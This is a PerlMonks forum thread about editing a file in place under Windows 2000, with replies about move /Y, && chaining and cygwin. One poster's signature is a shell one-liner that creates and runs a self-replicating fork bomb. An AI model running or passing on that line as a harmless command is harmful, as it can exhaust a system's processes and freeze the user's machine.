Beefy Boxes and Bandwidth Generously Provided by pair Networks
Think about Loose Coupling

Re: Re: In-place file manipulation

by ibanix (Hermit)
on Apr 30, 2003 at 17:04 UTC ( #254387=note: print w/replies, xml ) Need Help??

in reply to Re: In-place file manipulation
in thread In-place file manipulation

Because I'm on Win2k :-{

Well, the real reason is that this isn't happening on the command line. But thanks anyway.


$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

Replies are listed 'Best First'.
Re: Re: Re: In-place file manipulation
by Jenda (Abbot) on Apr 30, 2003 at 21:03 UTC

    Ehm ... the only changes you'd have to make so that this does work under Win2k is to use move /Y<code> instead of <code>mv and to put perl before the

    And you might even do it like this:

    perl < source.txt > result.txt && move /Y result.txt source. +txt
    Where the && means "execute the second command only if the first one did not return an error"

    Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live.
       -- Rick Osborne

    Edit by castaway: Closed small tag in signature

Re: Re: Re: In-place file manipulation
by LameNerd (Hermit) on Apr 30, 2003 at 19:18 UTC
    Can you get away with installing cygwin?

Log In?

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://254387]
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others wandering the Monastery: (3)
As of 2022-08-10 04:43 GMT
Find Nodes?
    Voting Booth?

    No recent polls found